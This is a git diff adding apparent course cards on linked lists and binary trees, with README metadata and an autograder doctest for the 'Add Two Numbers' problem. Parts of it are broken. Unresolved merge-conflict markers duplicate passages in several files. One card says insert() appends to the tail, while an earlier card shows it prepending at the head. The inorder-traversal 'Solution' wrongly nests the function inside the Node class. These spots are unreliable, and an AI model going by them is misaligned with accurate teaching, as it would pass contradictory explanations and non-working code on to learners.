+Upon further observation, we can see that the time complexity for this insert method is constant O(1)— it always takes the same amount of time. It can only take one data point, create only one node, and doesn't need to interact with the other nodes in the linked list besides the "head" node.
+
+When calling the `insert()` function in the `main()` code, it will look like this:
+
+```python
+film.insert(930)
+```
+
+
+The data point '930' will be assigned to a new node's `self.data` value, while the `set_next` function points the current node to the old "head" node. Then, `self.head` will take in our current node as the new "head" node. Now, the new "head" is the node with data 930 and this node points to the node with data 900.
+
+The same will happen to the data entry of '1000' if we write the following line:
+
+```python
+film.insert(1000)
+```
+
+
+
+The node with '1000' will become our new "head" and point to the node with '930'.
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/4.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/4.md
new file mode 100644
index 00000000..006d34bc
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/4.md
@@ -0,0 +1,55 @@
+
+
+
+
+
+
+If we want to remove an item from the list, we can use the `delete()` function.
+
+The time complexity for `delete()` is also O(n) because in the worst-case scenario, it will visit every node, interacting with each one a fixed number of times.
+
+The `delete()` function for our linked list goes through the list, and keeps track of the current node, `current` while also remembering the last mode it visited, `previous`.
+
+```python
+def delete(self, data):
+ current = self.head
+ previous = None
+ found = False
+```
+In order to delete an element, the `delete()` function goes through the list until it arrives to the node it wants to delete. When it arrives, it takes a look at the previously visited node and resets its `next_node` to point at the node coming after the one to be deleted.
+
+```python
+ while current and found is False:
+ if current.get_data() == data:
+ found = True
+ else:
+ previous = current
+ current = current.get_next()
+```
+Afterwards, we add several statements in the case that the data doesn't exist in the list, moving onto the next node if we're at the "head" node, and moving through the list node by node.
+
+```python
+ if current is None:
+ raise ValueError("Data not in list")
+ if previous is None:
+ self.head = current.get_next()
+ else:
+ previous.set_next(current.get_next())
+```
+When the previous node's `next_node` points at the next node in line, then no nodes will point at the current node, meaning that the current node has now been deleted!
+
+In our `main()` function later on, deleting a node from a linked list will look like this:
+
+```python
+film.delete(930)
+```
+
+
+| | Step 1 | step 2 |
+| -------- | --------------------- | :-------------------- |
+| current | node with data '1000' | node with data '930' |
+| previous | None | node with data '1000' |
+| found | False | True |
+
+We begin looking for the node we want to delete from our head (the node with data '1000'). It's not holding the data we were looking for, so we go to the next node. At the same time, we update the current node and previous node. In this example, we find data '930' in our second step. We set our pervious node points to the node that the current node is pointing at. Thus, after deletion, the node with '1000' now points at the node with '900' instead of the node with '930.'
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/5.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/5.md
new file mode 100644
index 00000000..fa37785d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/5.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+In order to find the size of a linked list, we can define our `size()` function as being able to count nodes until it doesn't find any more, and return the amount of nodes it found.
+
+The method begins with the "head" node and travels through the list using the `next_node` pointers to reach the next node until the `current` node becomes None. At that point, it will return the number of nodes encountered along the way.
+
+```python
+def size(self):
+ current = self.head
+ count = 0
+ while current:
+ count += 1
+ current = current.get_next()
+ return count
+```
+The time complexity of size is O(n) because each time the method is called, it will always visit every node in the list but only interact with them once, so n * 1 operations.
+
+Calling our `size()` function should look like this:
+
+```python
+print(film.size())
+```
+In the visual example below, `size()` should return a size of 4 nodes.
+
+
+
+To further implement a linked list, we'll see that the `search()` function is actually very similar to `size()`.
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/6.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/6.md
new file mode 100644
index 00000000..6ff72f47
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/6.md
@@ -0,0 +1,49 @@
+
+
+
+
+
+
+Now, if we want to find a certain node in our linked list, we can use a search method!
+
+As mentioned before, `search()` is similar to `size()` in that in the worst-case scenario, it also must travel through the entire linked list.
+
+```python
+def search(self, data):
+ current = self.head
+ found = False
+ while current and found is False:
+```
+<<<<<<< Updated upstream:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act1_LinkedLists/Cards/6.md
+<<<<<<< Updated upstream:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act1_LinkedLists/Cards/6.md
+At each node, the `search()` function will check to see if the data matches the data it's looking for. If so, then it will return the node that holds the requested data. If not, then it will just continue to go to the next node.
+=======
+At each node, the `search()` function checks to see if the data matches the desired data. If so, then it will return the node that holds the requested data. If not, it will continue on to the next node.
+>>>>>>> Stashed changes:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act1_LinkedLists/6.md
+=======
+At each node, the `search()` function checks to see if the data matches the desired data. If so, then it will return the node that holds the requested data. If not, it will continue on to the next node.
+>>>>>>> Stashed changes:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act1_LinkedLists/6.md
+
+```python
+ if current.get_data() == data:
+ found = True
+ else:
+ current = current.get_next()
+```
+Should the function not find the data at all, it will return an error notifying the user that the data is not in the list. **Note: If the function goes through the entire list without finding the data, that is also our worst-case scenario, meaning our worst-case time complexity is O(N).**
+
+```python
+ if current is None:
+ raise ValueError("Data not in list")
+ return current
+```
+When we call it, it should look like this:
+
+```python
+print(film.search(1000))
+```
+Below is a visual representation of searching for an element in a linked list.
+
+
+
+Now that we've covered how to implement and create the different functions and attributes of a linked list, we can put everything together!
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/7.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/7.md
new file mode 100644
index 00000000..88646a3b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/7.md
@@ -0,0 +1,91 @@
+
+
+
+
+
+
+Now that we have our linked list implementation, we can put it to work! Assume we work at a film production company and we're holding auditions! The auditions begin at 9:00 in the morning.
+
+```python
+film = LinkedList()
+film.head = Node(900)
+```
+
+> Note: This is the code from the 2nd card! Remember that when initialized, the first node of the linked list will be the head node.
+
+Now that we've initialized our linked list with a head node, we will continue to build onto it for the duration of our film audition appointments.
+Each succeeding node will represent another scheduled audition, each 30 minutes apart.
+
+One way we could do this is by creating a new node and setting it as the next node following the previous node:
+
+```python
+node1 = Node(930)
+node2 = Node(1000)
+film.head.set_next(node1)
+node1.set_next(node2)
+```
+
+> Note: *node1* and *node2* are new nodes that represent two more scheduled auditions for our linked list *film* that follow the head node.
+
+Since the first node in our linked list is the head, we then call `film.head.set_next(node1)` in order to assign `node1` as the next node following it.
+ Now that `node1` is the tail of our linked list `film`, we call `node1.set_next(node2)` in order to assign `node2` as the next node following it.
+
+Another way we could add a new node to our *film* linked list is by simply using the *insert()* function. Assume we got extra appointments for auditions up until lunchtime.
+
+```python
+film.insert(1030)
+film.insert(1100)
+film.insert(1130)
+film.insert(1200)
+film.insert(1230)
+```
+
+> Note: The `insert()` function defined in the *LinkedList* class is capable of creating a new node with the designated data you pass. It will assign the new node as the next one in your linked list (it only will append the node to the END, or tail).
+
+Now, we should have a linked list that contains a total of 8 nodes representing 8 audition appointments in succession. We can verify the number of nodes by using the *size()* function:
+
+```python
+print(film.size())
+```
+
+Assume someone canceled their audition for 10:00 AM. Afterwards, a different person cancels their 12:30 PM appointment. (Maybe this means an earlier lunch!) To make sure their appointments are no longer in the system, we can use the `delete()` function defined in the *LinkedList* class:
+
+```python
+film.delete(1000)
+film.delete(1230)
+```
+
+> Note: The *film* linked list will retain its order of nodes after deletion of the specified ones.
+
+To confirm that the canceled appointments were removed, we will check that the corresponding nodes were deleted from our linked list by searching for them:
+
+```python
+print(film.search(1000))
+print(film.search(1230))
+```
+
+> Note: The first `search()` function looking for the data point of 10:00 should return an error stating the data was not found (since the node has been deleted). The same should happen for the 12:30 node.
+
+To double check, we can use the *size()* function to identify that `film` now only contains 6 nodes in this order: 9:00, 9:30, 10:30, 11:00, 11:30, 12:00.
+
+If we were to search for an existing appointment, we can do so in a similar fashion:
+
+```python
+print(film.search(930))
+```
+
+> Note: The output produced will show the address in memory where the node is stored in our linked list *film*.
+
+If we want to access the data in the node associated with 9:30 in `film`:
+
+```python
+print(film.search(930).get_data())
+```
+> Note: This outputs the data at the particular node we searched for opposed to the address of the node as in the prior example.
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/8.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/8.md
new file mode 100644
index 00000000..758e6cf1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/8.md
@@ -0,0 +1,16 @@
+
+
+One of the most famous questions regarding linked lists is the "Add Two Numbers" problem. In this problem, you are given two **non-empty** linked lists representing two non-negative integers. The digits are stored in **reverse order** and each of their nodes contain a single digit. Add the two numbers and return it as a linked list.
+
+You may assume the two numbers do not contain any leading zero, except the number 0 itself.
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/9.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/9.md
new file mode 100644
index 00000000..11b381c9
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/Cards/9.md
@@ -0,0 +1,8 @@
+
+
+The key to solving the problem is making sure to keep track of the carry using a variable and simulate digits-by-digits sum starting from the head of list, which contains the least-significant digit.
+
+
+
+In the above example, we visualize the addition of two numbers: 342 + 465 = 807. Each node contains a single digit and the digits are stored in reverse order.
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/README.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/README.md
new file mode 100644
index 00000000..df8611e7
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/README.md
@@ -0,0 +1,193 @@
+# github_id
+
+123
+
+# name
+
+Linked Lists
+
+# description
+<<<<<<< Updated upstream
+<<<<<<< Updated upstream
+Students will learn about the essential data structure Linked Lists. They will learn the critical operations that will allow them to interact with Linked Lists. At the end, they will be given a scenario in which Linked Lists can be implemented.
+=======
+Students will learn about essential data structures called linked lists. They will learn the critical operations that allow them to interact with linked lists. At the end, they will be given a scenario in which linked lists can be implemented.
+>>>>>>> Stashed changes
+=======
+Students will learn about essential data structures called linked lists. They will learn the critical operations that allow them to interact with linked lists. At the end, they will be given a scenario in which linked lists can be implemented.
+>>>>>>> Stashed changes
+
+# summary
+
+Students will learn about the Linked List data structure.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+
+\Module4.2_Intermediate_Data_Structures\activities\Act1_LinkedLists\images
+
+# folder_path
+
+\Module4.2_Intermediate_Data_Structures\activities\Act1_LinkedLists
+
+# cards
+
+## 1
+
+### name
+
+The Linked List
+
+### order
+
+1
+
+### gems
+
+300
+
+## 2
+
+### name
+
+Node Implementation
+
+### order
+
+2
+
+### gems
+
+300
+
+## 3
+
+### name
+
+Inserting Into a Linked List
+
+### order
+
+3
+
+### gems
+
+300
+
+## 4
+
+### name
+
+Deleting from a Linked List
+
+### order
+
+4
+
+### gems
+
+300
+
+## 5
+
+### name
+
+Size of a Linked List
+
+### order
+
+5
+
+### gems
+
+300
+
+## 6
+
+### name
+
+Search for an element in a Linked List
+
+### order
+
+6
+
+### gems
+
+300
+
+## 7
+
+### name
+
+Linked Lists Example: Movie Times
+
+### order
+
+7
+
+### gems
+
+300
+
+## 8
+
+### name
+
+Leetcode Question: Add Two Numbers
+
+### order
+
+8
+
+### gems
+
+300
+
+## 9
+
+### name
+
+Add Two Numbers: The Intuition
+
+### order
+
+9
+
+### gems
+
+300
+
+## 10
+
+### name
+
+Add Two Numbers: The Algorithm
+
+### order
+
+10
+
+### gems
+
+300
+
+## 11
+
+### name
+
+Add Two Numbers: The Code
+
+### order
+
+11
+
+### gems
+
+300
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/checkpoints/11-checkpoint.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/checkpoints/11-checkpoint.md
new file mode 100644
index 00000000..9901f19f
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/checkpoints/11-checkpoint.md
@@ -0,0 +1,18 @@
+# name
+Checkpoint: `Solution`
+
+# cards_folder
+/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/Cards/
+# checkpoint_type
+Autograder
+
+# files_to_send
+
+main.py
+
+# instruction
+
+Please submit your code for the `Solution` class. `main()` functions are provided to just test this class.
+
+# test_file_location
+/Module4.2_Intermediate_Data_Structures/activities/Act1_LinkedLists/tests/check_test
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/1.png
new file mode 100644
index 00000000..fd408131
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/2.jpg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/2.jpg
new file mode 100644
index 00000000..2d859c7f
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/2.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_1.jpg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_1.jpg
new file mode 100644
index 00000000..20b1f2c8
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_1.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_2.jpg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_2.jpg
new file mode 100644
index 00000000..36a8696a
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/3_2.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/4.jpg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/4.jpg
new file mode 100644
index 00000000..e078527d
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/4.jpg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/5.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/5.png
new file mode 100644
index 00000000..b4f94ad7
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/5.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/6.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/6.png
new file mode 100644
index 00000000..3cce145e
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/6.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_1.png b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_1.png
new file mode 100644
index 00000000..1731d335
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_1.png differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_2.svg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_2.svg
new file mode 100644
index 00000000..82688e01
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/ATN_2.svg
@@ -0,0 +1,109 @@
+
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/chain_link.jpeg b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/chain_link.jpeg
new file mode 100644
index 00000000..00fca4dc
Binary files /dev/null and b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/images/chain_link.jpeg differ
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/tests/check_test/checkpoint.test b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/tests/check_test/checkpoint.test
new file mode 100644
index 00000000..6779f07b
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity1_LinkedLists/tests/check_test/checkpoint.test
@@ -0,0 +1,124 @@
+>>> arr1,arr2 = [3,5,6],[7,8,9]
+>>> l1,l2 = ListNode(arr1[0]),ListNode(arr2[0])
+>>> one,two = l1,l2
+>>> i,j = 1,1
+>>> solution = Solution()
+>>> while i < len(arr1) or j < len(arr2):
+... if i < len(arr1):
+... one.next = ListNode(arr1[i])
+... i += 1
+... one = one.next
+... if j < len(arr2):
+... two.next = ListNode(arr2[j])
+... j += 1
+... two = two.next
+...
+>>> answer = solution.addTwoNumbers(l1,l2)
+>>> answerlist = []
+>>>
+>>> while answer:
+... answerlist.append(answer.val)
+... answer = answer.next
+...
+>>> print(answerlist)
+[0, 4, 6, 1]
+>>> arr1,arr2 = [2,4,3],[5,6,4]
+>>> l1,l2 = ListNode(arr1[0]),ListNode(arr2[0])
+>>> one,two = l1,l2
+>>> i,j = 1,1
+>>> solution = Solution()
+>>>
+>>> while i < len(arr1) or j < len(arr2):
+... if i < len(arr1):
+... one.next = ListNode(arr1[i])
+... i += 1
+... one = one.next
+... if j < len(arr2):
+... two.next = ListNode(arr2[j])
+... j += 1
+... two = two.next
+...
+>>> answer = solution.addTwoNumbers(l1,l2)
+>>> answerlist = []
+>>>
+>>> while answer:
+... answerlist.append(answer.val)
+... answer = answer.next
+...
+>>> print(answerlist)
+[7, 0, 8]
+>>> arr1,arr2 = [9,8,2],[6,1,3]
+>>> l1,l2 = ListNode(arr1[0]),ListNode(arr2[0])
+>>> one,two = l1,l2
+>>> i,j = 1,1
+>>> solution = Solution()
+>>>
+>>> while i < len(arr1) or j < len(arr2):
+... if i < len(arr1):
+... one.next = ListNode(arr1[i])
+... i += 1
+... one = one.next
+... if j < len(arr2):
+... two.next = ListNode(arr2[j])
+... j += 1
+... two = two.next
+...
+>>> answer = solution.addTwoNumbers(l1,l2)
+>>> answerlist = []
+>>>
+>>> while answer:
+... answerlist.append(answer.val)
+... answer = answer.next
+...
+>>> print(answerlist)
+[5, 0, 6]
+>>> arr1,arr2 = [6,1,9],[5,1,2]
+>>> l1,l2 = ListNode(arr1[0]),ListNode(arr2[0])
+>>> one,two = l1,l2
+>>> i,j = 1,1
+>>> solution = Solution()
+>>>
+>>> while i < len(arr1) or j < len(arr2):
+... if i < len(arr1):
+... one.next = ListNode(arr1[i])
+... i += 1
+... one = one.next
+... if j < len(arr2):
+... two.next = ListNode(arr2[j])
+... j += 1
+... two = two.next
+...
+>>> answer = solution.addTwoNumbers(l1,l2)
+>>> answerlist = []
+>>>
+>>> while answer:
+... answerlist.append(answer.val)
+... answer = answer.next
+...
+>>> print(answerlist)
+[1, 3, 1, 1]
+>>> arr1,arr2 = [4,1,3],[2,6,4]
+>>> l1,l2 = ListNode(arr1[0]),ListNode(arr2[0])
+>>> one,two = l1,l2
+>>> i,j = 1,1
+>>> solution = Solution()
+>>>
+>>> while i < len(arr1) or j < len(arr2):
+... if i < len(arr1):
+... one.next = ListNode(arr1[i])
+... i += 1
+... one = one.next
+... if j < len(arr2):
+... two.next = ListNode(arr2[j])
+... j += 1
+... two = two.next
+...
+>>> answer = solution.addTwoNumbers(l1,l2)
+>>> answerlist = []
+>>>
+>>> while answer:
+... answerlist.append(answer.val)
+... answer = answer.next
+...
+>>> print(answerlist)
+[6, 7, 7]
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/README.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/README.md
new file mode 100644
index 00000000..1b942116
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/README.md
@@ -0,0 +1,169 @@
+# github_id
+
+
+# name
+Trees
+
+# description
+Students will learn about the tree data structure. They will learn all the necessary terminology associated with trees. Then, they will learn about specific types of trees, such as Binary Search Trees.
+
+# summary
+Students will learn about the tree data structure and different types of trees.
+
+# difficulty
+Easy
+
+# image
+
+
+# image_folder
+/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees/images
+
+# folder_path
+/Module4.2_Intermediate_Data_Structures/activities/Act2_Trees
+
+# cards
+
+## 1
+
+### name
+
+Trees
+
+### order
+1
+
+### gems
+300
+
+## 2
+
+### name
+The Node & Binary Trees
+
+### order
+2
+
+### gems
+300
+
+## 3
+
+### name
+Recursion
+
+### order
+3
+
+### gems
+300
+
+## 4
+
+### name
+BSTSearch()
+
+### order
+4
+
+### gems
+300
+
+## 5
+
+### name
+BSTInsert()
+
+### order
+5
+
+### gems
+300
+
+## 6
+
+### name
+BSTDelete() I
+
+### order
+6
+
+### gems
+300
+
+## 7
+
+### name
+BSTDelete() II
+
+### order
+7
+
+### gems
+300
+
+## 8
+
+### name
+Real Life Application of Trees
+
+### order
+8
+
+### gems
+300
+
+## 9
+
+### name
+Real Life Application of Binary Search Tree
+
+### order
+9
+
+### gems
+300
+
+## 10
+
+### name
+Interview question
+
+### order
+10
+
+### gems
+300
+
+## 11
+
+### name
+Interview starter code
+
+### order
+11
+
+### gems
+300
+
+## 12
+
+### name
+Interview test case
+
+### order
+12
+
+### gems
+300
+
+## 13
+
+### name
+Interview solution
+
+### order
+13
+
+### gems
+300
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/1.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/1.md
new file mode 100644
index 00000000..10b13b80
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/1.md
@@ -0,0 +1,63 @@
+
+
+
+
+
+
+We are going to learn about tree data structures. To do so, it is important that we understand the essential terminology.
+
+#### Tree Terminology:
+
+* **Tree**: Hierarchical structure used to store data elements. Trees have no cycles (connections are one-way and never to previous elements) and are "upside-down." In other words, the root is at the top and leaves are at the bottom.
+
+* **Node**: Each individual data element of the tree linked to other data elements within the tree. Identified by a key.
+
+* **Level**: The number of parent nodes that a given node has. For instance, the root node has 0 parents, so it is at Level 0. Its children are at Level 1, grandchildren at Level 2, and so on.
+
+* **Edge**: Link that connects two nodes.
+
+* **Root Node**: The node with highest hierarchical precedence. Each tree can only have one root node.
+
+* **Parent Node**: The predecessor of a node is called its parent. The root node does not have a parent.
+
+* **Child Node**: The descendant of a node is called its child.
+
+* **Sibling Nodes**: The nodes that have the same parent are called siblings.
+
+* **Leaf Nodes**: A node that does not have a child is called a leaf.
+
+* **Internal Nodes**: A node that has at least one child is called an internal node.
+
+* **Subtree**: A grouping of connected nodes within the tree.
+
+
+
+
+
+
+
+In the tree above, the circles with numbers in them are the **nodes** of the tree. The arrows connecting each nodes are the **edges**. The **root** of this tree is the node containing the number 8. The node containing 3 is a **parent** of the node containing 1. The node containing 1 is a **child** of the node containing 3. The nodes with 4 and 7 are **siblings**. The nodes with 1, 4, 7, and 13 are **leaf** nodes. The nodes containing 8, 3, 10, 6, and 14 are all **internal** nodes. Finally, the group of nodes with values 6, 4, and 7 are a **subtree** of the tree.
+
+
+
+
+
+
+
+
+
+#### Real Life Application of Trees:
+
+##### Ancestry Trees:
+<<<<<<< Updated upstream:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/cards/1.md
+<<<<<<< Updated upstream:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/cards/1.md
+
+You may be wondering why we would want to use trees. A real life example of a tree structure being used is in ancestry trees. Think of each person in the family as a node. Every person in the family tree is related to other people in the family in some way as a sibling, parent, grandparent, etc. Tree data structures behave in a very similar way as they are both hierarchical structures with nodes, or family members, connected together in a certain manner, and the connection between nodes are there for a specific reason.
+=======
+
+You may be wondering why we'd want to use trees. A real-life example of a tree structure being used is in ancestry trees. Think of each person in the family as a node. Every person in the family tree is related to other people in the family in some way as a sibling, parent, grandparent, and so on. Tree data structures behave similarly as they are both hierarchical structures with nodes, or family members, connected together in a certain manner. The connection between nodes are there for a specific reason.
+>>>>>>> Stashed changes:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/1.md
+=======
+
+You may be wondering why we'd want to use trees. A real-life example of a tree structure being used is in ancestry trees. Think of each person in the family as a node. Every person in the family tree is related to other people in the family in some way as a sibling, parent, grandparent, and so on. Tree data structures behave similarly as they are both hierarchical structures with nodes, or family members, connected together in a certain manner. The connection between nodes are there for a specific reason.
+>>>>>>> Stashed changes:Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/activities/Act2_Trees/1.md
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/10.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/10.md
new file mode 100644
index 00000000..d4042fd1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/10.md
@@ -0,0 +1,19 @@
+# Interview question
+
+### Given a binary tree, return the *inorder* traversal of its nodes' values.
+
+Write a iterative solution that will return the inorder traversal of the tree
+
+For example:
+
+```python
+Input: 1,2,3,4,5
+ 1
+ / \
+ 2 3
+ / \
+4 5
+
+Output: 4, 2, 5, 1, 3
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/11.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/11.md
new file mode 100644
index 00000000..6706ed50
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/11.md
@@ -0,0 +1,18 @@
+# Starter code :
+
+```
+class Node:
+ def __init__(self, data):
+ self.left = None
+ self.right = None
+ self.data = data
+
+def inorderTraversal(root):
+```
+
+Recall that inorder traversal visit the left subtree first, then the root and the right subtree.
+
+It's easy to slove the problem with recursion, think about how to translate the idea to a iterative solution. What are the differences? When should you terminate?
+
+Hint : use stack
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/12.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/12.md
new file mode 100644
index 00000000..5565184a
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/12.md
@@ -0,0 +1,24 @@
+# Test code:
+
+```
+Input: 1,2,3,4,5
+ 1
+ / \
+ 2 3
+ / \
+4 5
+
+Output: 4, 2, 5, 1, 3
+
+root = Node(1)
+root.left = Node(2)
+root.right = Node(3)
+root.left.left = Node(4)
+root.left.right = Node(5)
+inorderTraversal(root)
+```
+
+The output should be [4, 2, 5, 1, 3]
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/13.md b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/13.md
new file mode 100644
index 00000000..eff6014d
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module2-Intermediate-Data-Structures/Activity2_Trees/cards/13.md
@@ -0,0 +1,23 @@
+# Solution:
+
+```python
+class Node:
+ def __init__(self, data):
+ self.left = None
+ self.right = None
+ self.data = data
+
+ def inorderTraversal(root):
+ res, stack = [], []
+ while True:
+ while root:
+ stack.append(root)
+ root = root.left # We first visit the left subtree add all the left nodes to the stack until we get to the leaf
+ if not stack: # when there is no more stuff in the stack terminate
+ return res
+ node = stack.pop() # pop the current node from the stack
+ res.append(node.data) # add the node to the result
+ root = node.right
+
+```
+
